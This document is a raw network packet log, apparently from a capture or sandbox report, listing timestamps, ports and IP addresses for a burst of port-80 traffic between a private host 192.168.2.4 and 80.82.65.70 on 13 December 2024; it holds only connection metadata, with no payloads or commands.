Dec 13, 2024 01:09:49.294156075 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.294212103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.296540022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.296612978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.296613932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.296709061 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.299041033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.299119949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.299135923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.299185991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.301534891 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.301594019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.301594019 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.301789045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.304068089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.304141998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.304160118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.304214001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.306515932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.306628942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.306685925 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.309055090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.309125900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.309190035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.309245110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.311530113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.311578035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.311610937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.311680079 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.314065933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.314166069 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.314223051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.314296961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.316561937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.316643000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.316673994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.316757917 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.319037914 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.319103003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.319160938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.319215059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.321572065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.321631908 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.321681023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.321916103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.324057102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.324112892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.324124098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.324227095 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.326622009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.326687098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.326714993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.326793909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.329097033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.329170942 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.329205036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.329293966 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.331573009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.331701994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.331737041 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.331754923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.334079027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.334136963 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.334192991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.334259987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.336607933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.336678028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.336761951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.336812019 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.353112936 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.353135109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.353194952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.354218006 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.354278088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.354352951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.354417086 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.356724024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.356794119 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.357635021 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.357697964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.357755899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.357846975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.360151052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.360244036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.360290051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.360389948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.362658024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.362714052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.362759113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.362831116 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.365139008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.365214109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.365273952 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.365343094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.367643118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.367703915 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.367717981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.367785931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.370171070 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.370228052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.370326996 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.370388031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.372692108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.372811079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.372862101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.372862101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.375225067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.375283957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.375334024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.375395060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.377712011 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.377777100 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.377789021 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.377840996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.380198002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.380266905 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.380390882 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.380454063 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.382694006 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.382766008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.382826090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.382878065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.385169029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.385229111 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.385283947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.385337114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.387698889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.387758970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.389121056 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.389194965 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.389240026 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.389298916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.391248941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.391285896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.391347885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.391364098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.393733978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.393825054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.393831015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.393861055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.396199942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.396277905 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.396310091 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.396445990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.398710966 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.398814917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.398838997 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.398866892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.401236057 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.401314020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.401355982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.401447058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.403737068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.403884888 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.403954983 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.406229019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.406295061 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.406331062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.406392097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.408726931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.408807039 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.408863068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.408957005 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.411257982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.411336899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.411396027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.411494970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.413737059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.413799047 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.413855076 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.413899899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.416237116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.416301966 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.416347980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.416404009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.418788910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.418848991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.418878078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.418967009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.421266079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.421324015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.467505932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.467556000 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.467588902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.467612028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.468283892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.468337059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.468430042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.468497992 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.469332933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.469461918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.469489098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.469501019 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.470688105 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.470771074 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.470828056 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.470902920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.471997023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.472053051 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.472099066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.472560883 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.473354101 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.473459959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.473474979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.473520994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.474664927 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.474808931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.474863052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.476017952 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.476145029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.476171970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.476197004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.477333069 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.477380991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.477385998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.477423906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.479063988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.479159117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.479212046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.480016947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.480067015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.480387926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.481070995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.481404066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.481420040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.481455088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.482685089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.482738018 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.482800007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.483367920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.484003067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.484051943 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.484122038 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.485352039 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.485398054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.485496044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.485543013 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.486711979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.486819983 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.486886024 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.488060951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.488123894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.488126993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.488161087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.489367008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.489484072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.489537001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.490683079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.490797043 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.490847111 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.492104053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.492160082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.492403984 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.492856979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.493372917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.493496895 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.493498087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.493541956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.494678974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.494801998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.494856119 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.496027946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.496084929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.496146917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.496191978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.497364998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.497489929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.497546911 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.498799086 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.498832941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.498857975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.498881102 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.500024080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.500175953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.500232935 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.501380920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.501446009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.501456022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.501533031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.545092106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.545183897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.545217991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.545254946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.545428991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.545489073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.545627117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.546401978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.546474934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.546521902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.546576977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.547688007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.547725916 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.547791004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.548324108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.548441887 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.548496008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.549278975 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.549340010 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.549405098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.550250053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.550307035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.550363064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.551198959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.551254988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.551292896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.551362991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.552145004 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.552201986 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.552264929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.552335978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.553122044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.553178072 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.553709030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.554065943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.554119110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.554177046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.555036068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.555089951 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.555161953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.555371046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.556056023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.556111097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.556113958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.556490898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.556922913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.556992054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.581423044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.581607103 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.581691027 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.581739902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.581864119 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.581921101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.582705975 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.582808018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.582863092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.583683968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.583740950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.583805084 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.584630013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.584641933 CET	49731	80	192.168.2.4	80.82.65.70
